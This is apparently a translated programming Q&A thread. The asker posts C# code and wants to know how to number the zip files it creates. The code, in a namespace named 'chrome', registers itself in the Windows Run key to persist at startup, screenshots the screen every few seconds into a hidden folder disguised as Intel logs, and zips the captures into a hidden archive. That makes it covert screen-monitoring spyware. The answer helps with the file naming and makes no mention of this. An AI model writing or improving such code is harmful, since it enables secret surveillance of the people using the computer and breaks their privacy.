如何编码我的程序以为目录中的每个新文件创建新文件名？

Question

I have a program which takes the files from a specified folder every 2 hours and zips them into a zip file that then saves in another folder. As is, the code will create a zip file with the name "zip", but then when it goes to create a second zip file 2 hours later it won't be able to because a file with the name "zip" already exists. I would like to know how to make it so that the code sees that there is already a file named "zip" and names the new zip file "zip2" then "zip3", "zip4" so on and so forth. I know that this function is already in my code earlier on for the screenshots, but I didn't write that part of the code and am very confused as to how I can take it from that part and apply it to this part.

Thank you very much for all the help. Please ask me to clarify if you have any questions.

Here is my code:

using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;
using System.IO.Compression;

namespace chrome
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch (Exception e)
            {
                Console.WriteLine("show1:" + e.Message);
            }
            //------------------

            //------------screenshot  loop takes screenshots after 1 min-----------
            int n = 0;
            while (n == 0)
            {
                try
                {

                    OnTimedEvent();
                    Thread.Sleep(2000);
                }
                catch (Exception e)
                {
                    Console.WriteLine("show2:" + e.Message);
                }
                //-------------------------

            }
        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1366, 768);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
                File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }

            {
                string startPath = @"c:\example\start";
                string zipPath = @"c:\example\result.zip";

                ZipFile.CreateFromDirectory(startPath, zipPath);

                File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
            }
        }
    }
}

Answer 1

I have modified inline to your code (from bottom of above excerpt):

try
        {
            memoryImage.Save(str);
        }
        catch (Exception er)
        {
            Console.WriteLine("Sorry, there was an error: " + er.Message);
        }

        {
            string startPath = @"c:\example\start";
            string zipPath = @"c:\example\result.zip";

// start of directory logic you need to calculate the number of existing files in the directory you are about to put the new zip
  string[] filenames = Directory.GetFiles("path_to_your_directory_of_zip_files");
  int count = filenames.Length;

  if (count > 0)
    zipPath = string.Format("c:\example\result_{0}.zip", count);

//End of new logic 

  // then do your saving using the new filename...
  ZipFile.CreateFromDirectory(startPath, zipPath);

Looking at the code above, you are using Thread.Sleep to wait for a file to be produced. Can I suggest you look into FileSystemWatcher class which will tell you when files arrive, are deleted or modified etc. This will allow you to react in an asynchronous way instead of blocking your thread for a specified period which may or may not be long enough for things to be as you expect.